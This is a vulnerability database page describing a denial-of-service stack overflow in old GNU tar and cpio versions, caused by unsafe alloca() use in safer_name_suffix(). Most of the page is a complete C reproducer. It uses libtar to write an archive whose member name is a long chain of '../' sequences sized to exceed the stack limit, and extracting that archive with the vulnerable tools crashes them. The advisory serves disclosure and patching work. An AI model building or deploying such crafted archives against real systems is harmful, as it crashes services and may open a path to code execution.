Lucene search
K

GNU TAR <= 1.15.91 and CPIO <= 2.5.90 safer_name_suffix Remote Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Vulnerability in GNU TAR and CPIO utilities due to insecure use of 'alloca()' function allows remote Denial of Service.

Code

                                                source: http://www.securityfocus.com/bid/26445/info

GNU&#39;s tar and cpio utilities are prone to a denial-of-service vulnerability because of insecure use of the &#39;alloca()&#39; function.

Successfully exploiting this issue allows attackers to crash the affected utilities and possibly to execute code, but this has not been confirmed.

GNU tar and cpio utilities share the same vulnerable code and are both affected. Other utilities sharing this code may also be affected.

/*
 * paxlib&#39;s safer_name_suffix() stack overflow reproducer.
 */

#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;errno.h&#62;
#include &#60;error.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;sys/resource.h&#62;
#include &#60;libtar.h&#62;

int main(int ac, const char *av[])
{
	struct rlimit r;
	unsigned count, i;
	char *s;
	TAR *t;

	if (ac != 2)
		error(1, 0, &#34;exactly two arguments expected&#34;);

	if (getrlimit(RLIMIT_STACK, &r))
		error(1, errno, &#34;getrlimit RLIMIT_STACK&#34;);

	count = r.rlim_cur / 3 + 1;
	if (!(s = malloc(count * 3 + 1)))
		error(1, errno, &#34;malloc: %u&#34;, count * 3 + 1);

	for (i = 0; i &#60; count; ++i)
		memcpy(s + i * 3, &#34;../&#34;, 3);
	s[count * 3] = &#39;\0&#39;;

	if (tar_open(&t, av[1], NULL, O_WRONLY|O_CREAT, 0644, TAR_GNU))
		error(1, errno, &#34;tar_open: %s&#34;, av[1]);

	if (tar_append_file(t, &#34;/dev/null&#34;, s))
		error(1, errno, &#34;tar_append_file: %s&#34;, av[1]);

	if (tar_close(t))
		error(1, errno, &#34;tar_close&#34;);

	return 0;
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation